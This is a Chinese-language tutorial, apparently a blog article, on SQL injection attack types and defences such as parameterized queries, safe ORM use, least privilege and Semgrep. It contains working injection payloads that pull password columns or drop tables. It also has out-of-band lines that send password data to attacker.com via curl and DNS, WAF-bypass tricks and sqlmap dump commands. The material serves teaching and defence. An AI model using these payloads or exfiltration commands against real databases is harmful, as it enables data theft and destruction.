12. SQL 注入与安全防护

SQL 注入攻击类型、参数化查询、ORM 安全与最小权限原则

1. 注入攻击类型与真实 Payload

SQL 注入的本质是攻击者将恶意 SQL 片段注入到应用拼接的查询字符串中,使数据库执行非预期指令。

1.1 联合注入 (Union-based)

利用 UNION 运算符将原始查询结果与攻击者构造的结果集合并,直接泄露数据:

-- 原始查询
SELECT title, body FROM articles WHERE id = '1'

-- 攻击 Payload
1' UNION SELECT username, password FROM users --

-- 实际执行
SELECT title, body FROM articles WHERE id = '1'
UNION SELECT username, password FROM users

攻击者通常先用 ORDER BY 99-- 探测列数,再用 UNION SELECT null,null-- 逐步确认各列数据类型。

1.2 布尔盲注 (Boolean-based Blind)

当页面不返回查询结果,仅展示"存在/不存在"两种状态时,攻击者通过条件判断逐位提取数据:

' AND SUBSTRING((SELECT password FROM users LIMIT 1), 1, 1) = 'a' --

若页面正常显示,则首字符为 ‘a’,否则尝试 ‘b’,以此类推。自动化工具通过二分查找或字符集遍历将提数时间大幅压缩。

1.3 时间盲注 (Time-based Blind)

当页面在真假条件下表现完全相同时,引入时间延迟作为侧信道:

-- MySQL
' AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>64, SLEEP(5), 0) --

-- PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END --

-- SQL Server
'; WAITFOR DELAY '0:0:5' --

1.4 堆叠注入 (Stacked Queries)

当数据库驱动支持多语句执行时,分号后的任意 SQL 都将被执行:

'; DROP TABLE users; --
'; INSERT INTO admin_logs SELECT * FROM users; --

此类型危害极大,可直接破坏数据完整性或建立持久化后门。

1.5 报错注入 (Error-based)

利用数据库报错信息泄露数据:

-- MySQL
' AND extractvalue(1, concat(0x7e, (SELECT password FROM users LIMIT 1))) --

-- 触发 XPath 语法错误并回显密码值
XPATH syntax error: '~admin_hash_here'

1.6 带外注入 (Out-of-band)

当回显被完全屏蔽时,通过 DNS 查询或 HTTP 请求将数据带出发起外联:

-- MySQL
' AND LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\a')) --

-- PostgreSQL
'; COPY (SELECT password FROM users LIMIT 1) TO PROGRAM 'curl attacker.com/?d=$(cat -)' --

2. 参数化查询内部机制

参数化查询(Prepared Statement)的核心思想是"先编译,后传值",将 SQL 结构与数据值彻底分离。

2.1 服务端预编译流程

应用层                    驱动层                    数据库
  │    "SELECT * FROM users WHERE id = ?"           │
  │ ──────────────────────────────────────────────> │
  │                         │    Parse & Plan       │
  │                         │ <─────────────────    │
  │                         │    返回 Statement ID  │
  │    bind(1, "100")       │                       │
  │ ──────────────────────> │                       │
  │                         │    Execute(stmt_id)   │
  │                         │ ──────────────────>   │
  │                         │    结果集             │

以 MySQL 二进制协议为例,COM_STMT_PREPARE 发送模板 SQL,服务器返回 statement_id 和参数元数据;后续通过 COM_STMT_EXECUTE 仅需传输 statement_id 和绑定值,无需再次解析。此机制天然防御注入,因为绑定值在整个协议层面被当作纯文本字面值处理,不具备拼接语义。

2.2 预编译缓存

-- JDBC 示例:开启服务端预编译缓存
String url = "jdbc:mysql://db:3306/app?useServerPrepStmts=true&cachePrepStmts=true";
Connection conn = DriverManager.getConnection(url, user, pass);

PreparedStatement ps = conn.prepareStatement(
    "SELECT * FROM orders WHERE status = ? AND create_time > ?"
);
ps.setString(1, "PAID");
ps.setTimestamp(2, Timestamp.valueOf("2026-01-01 00:00:00"));
ResultSet rs = ps.executeQuery();

useServerPrepStmts=true 启用服务端预编译,cachePrepStmts=true 在连接池内缓存 PreparedStatement 对象,避免高频创建销毁带来的开销。

3. ORM 漏洞模式

ORM 并非免死金牌。不当使用仍会引入注入风险。

3.1 JPA / Hibernate (Java)

// 危险:字符串拼接 JPQL
String hql = "FROM User u WHERE u.name = '" + name + "'";
Query query = session.createQuery(hql);

// 安全:命名参数
String hql = "FROM User u WHERE u.name = :name";
Query query = session.createQuery(hql)
    .setParameter("name", name);

// 安全但危险:原生 SQL 拼接
String sql = "SELECT * FROM users WHERE name = '" + name + "'";
Query query = session.createNativeQuery(sql);

3.2 SQLAlchemy (Python)

from sqlalchemy import text

# 危险:text() 中直接拼接
result = conn.execute(text(f"SELECT * FROM users WHERE id = {user_id}"))

# 安全:text() + bindparam
result = conn.execute(
    text("SELECT * FROM users WHERE id = :uid"),
    {"uid": user_id}
)

# 安全:ORM 查询构造器天然参数化
session.query(User).filter(User.id == user_id).all()

3.3 GORM (Go)

// 危险:字符串格式化
var user User
db.Raw(fmt.Sprintf("SELECT * FROM users WHERE name = '%s'", name)).Scan(&user)

// 安全:占位符
db.Raw("SELECT * FROM users WHERE name = ?", name).Scan(&user)

// 注意:部分 GORM 方法如 Order、Select 仍需防注入
db.Order("name " + sortDir) // sortDir = "DESC; DROP TABLE users; --"

4. WAF 规则与绕过技巧

4.1 常见检测规则

WAF 通常基于正则表达式检测,重点拦截关键字如 UNION、SELECT、SLEEP、BENCHMARK 等。工程上常配合语义分析引擎降低误报。

4.2 绕过手法

手法示例
大小写混淆UnIoN SeLeCt
内联注释/*!50000UNION*/ /*!50000SELECT*/
编码替换0x7573657273 替代 "users"
空白替代%0b, %0c, %a0 替代空格
函数别名CONCAT_WS(0x7e, a, b) 替代 CONCAT
逻辑等价MAKE_SET(1, password) 替代直接列名

防御方应部署多层策略:WAF 作为流量入口拦截明显 Payload,参数化查询作为应用层最终防线。

5. 数据库最小权限设计

即使注入成功,最小权限原则能限制损害范围:

-- 创建专用于应用的只读账号
CREATE USER 'app_read'@'10.0.%.%' IDENTIFIED BY 'strong_password';
GRANT SELECT ON app_db.orders TO 'app_read'@'10.0.%.%';
GRANT SELECT ON app_db.products TO 'app_read'@'10.0.%.%';

-- 读写分离:写操作使用独立账号
CREATE USER 'app_write'@'10.0.%.%' IDENTIFIED BY 'another_strong_password';
GRANT SELECT, INSERT, UPDATE ON app_db.orders TO 'app_write'@'10.0.%.%';

-- 撤销危险权限
REVOKE DROP, DELETE, FILE, SUPER ON *.* FROM 'app_read'@'10.0.%.%';

生产数据库应按业务模块拆分账号,禁止应用账号持有 DROP、GRANT、FILE 等高危权限。对只读报表类接口,甚至可配置逻辑复制只读从库进一步隔离。

6. 静态分析与渗透工具

6.1 Semgrep

Semgrep 通过规则模板扫描代码库中的可疑拼接模式:

rules:
  - id: java-sql-injection
    pattern-either:
      - pattern: |
          String $SQL = "..." + $X;
          ...
          $STMT.executeQuery($SQL);
    languages: [java]
    message: "Possible SQL injection through string concatenation"
    severity: ERROR

6.2 SQLMap

SQLMap 是自动化盲注/联合注入测试工具,通过 --level 和 --risk 参数控制探测深度:

sqlmap -u "https://example.com/article?id=1" --batch --level=3 --risk=2
sqlmap -u "https://example.com/article?id=1" --dump -D app -T users

6.3 开发阶段集成

将 Semgrep 或 CodeQL 接入 CI 流水线,在代码合并前阻断包含字符串拼接 SQL 的提交;同时引入 SQLMap 在 staging 环境执行定期漏洞扫描,形成 DevSecOps 闭环。

延伸阅读

继续阅读

探索更多技术文章

浏览归档,发现更多关于系统设计、工具链和工程实践的内容。

全部文章 返回首页

「database」更多文章

  1. PostgreSQL 锁与阻塞分析
  2. COPY 与批量数据加载优化
  3. pgvector 向量检索与混合查询